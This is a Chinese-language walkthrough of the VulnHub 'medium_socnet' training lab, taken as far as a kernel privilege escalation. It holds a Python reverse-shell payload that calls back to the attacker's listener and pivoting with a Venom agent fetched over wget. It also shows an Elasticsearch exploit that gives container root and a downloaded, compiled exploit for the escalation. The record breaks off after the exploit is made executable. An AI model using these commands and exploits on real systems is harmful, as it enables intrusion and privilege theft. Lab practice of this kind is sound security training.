目录
四、扫目录(dirsearch脚本;和windous御剑类似)
一、部署环境
靶机下载地址:
https://download.vulnhub.com/boredhackerblog/medium_socnet.ova
虚拟机网络连接方式采用nat模式即可,靶机和kali位于同一网段下。
二、进行主机发现,arp-scan进行扫描
sudo arp-scan -l
三、使用nmap扫描发现的靶机IP
1.全端口扫描,看服务
sudo nmap -p- 192.168.29.128
发现开放了两个端口22,5000
2.查看端口所用服务版本
sudo nmap -p22,5000 -sV 192.168.29.128
3.登录ip地址看一下
没看出来啥
四、扫目录(dirsearch脚本;和windous御剑类似)
1.安装dirsearch
(1)sudo su 进入超级用户
(2)apt-get update 更新库
(3)apt-get install dirsearch 下载
2.开扫
dirsearch -u http://192.168.29.128
在5000扫出来一个/admin目录
3.登录网址/admin
输入网址加端口进入后台
(1)开启侦听
nc -nvlp 4444
(2)进行python反弹shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.29.129",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
(3)id查看当前登录的用户
注意:老师说这个很诡异,拿到的不是宿主机的最高权限,而是docker容器系统的权限
(4)如何判断是一个docker系统呢
查看两个文件是否存在
两条命令:ls /.dockerenv
cat /proc/1/cgroup
五、跳出docker容器系统隔离环境
1.查看容器ip
ip a与ipconfig命令相似
2.主机发现
1.简易脚本:
for i in $(seq 1 10); do ping -c 1 172.17.0.$i ; done
2.发现其他ip
六、内网穿透
1.下载venom
Releases · Dliv3/Venom · GitHubhttps://github.com/Dliv3/Venom/releases2.启动服务侦听9999端口
3.在服务端开启http服务
先切换到venom\ v1.1.0 文件夹下,在开启http的80端口服务
python3 -m http.server 80
4.在客户端下载a文件(将venom中的agent x64 linux重命名为了a)
wget http://192.128.29.129/a
(1)下载完成
(2)给予权限
chmod +x a
5.连接服务端
./a -rhost 192.168.29.129 -rport 9999
successfully connects 成功连接
6.服务端查看连接,到节点去,启动一个侦听代理
show
goto 1
socks 1080
7.使用proxychains(命令行代理神器)
使用它是为了让我们nmap等探测工具可以通过代理来扫描到内网主机
(1)修改proxychains的配置文件
将 socks4改为socks5 ,端口改为1080
ok,内网穿透到此结束
七、对内网地址172.17.0.1进行扫描
1.端口服务扫描
proxychains nmap -Pn -sT 172.17.0.1
挂上端口号和-sV参数继续扫描,查看服务版本
proxychains nmap -p22,5000 -Pn -sV -sT 172.17.0.1
通过观察我们可以发现,01这个ip和我们刚开始发现的ip,不管是版本还是服务全都一模一样
2.登录内网172.17.0.1地址
(1)配置代理
(2)访问
可以发现此页面与之前的页面完全一样,可以推断出原ip就是宿主机ip,内网ip是指向docker容器的一个ip
八、对内网地址172.17.0.2进行扫描
1.扫端口和服务版本
扫到一个9200端口之后对这个端口进行服务版本扫描
发现其中存在Elasticsearch。
2.搜索Elasticsearch已知漏洞
kali本身带有一些漏洞库,利用命令搜索
searchsploit Elasticsearch
3.利用漏洞
(1)复制到当前文件夹下
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
(2)拿到容器root
python2 36337.py 172.17.0.2
(4)对这个容器信息收集
发现有个passwords文件,查看一下 ,发现有账号和加密后的密码
解密后的值为1337hack
九、利用开放的22端口ssh服务
ssh john@192.168.29.128
可以成功登录,但是利用切换到root用户不成功,只是普通用户。
十、提权
利用内核版本来进行提权
1.查看内核版本
uname -a
2.查询相关漏洞
利用这条漏洞
(1)复制到本地
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
(2)查看并编辑
由于调用了外部库文件,用gcc生成共享二进制文件so,由于gcc在容器主机没有安装,所有无法正常编译,所以要修改代码并在kali服务端编译好。
将代码调用外部库文件编译二进制文件删除掉
(3)在kali本机找ofs-lib.so
并且拷贝到本地
locate ofs-lib.so
(4)编译37292.c文件
gcc -o exp 37292.c
(5)开启http服务
python3 -m http.server 80
(6)下载编译好的文件
wget http://192.168.29.129/ofs-lib.so
wget http://192.168.29.129/exp
(7)全部移入tmp文件夹下
此举是为了保证可以正确执行。
mv * /tmp
给予权限
chmod +x exp
id查看一下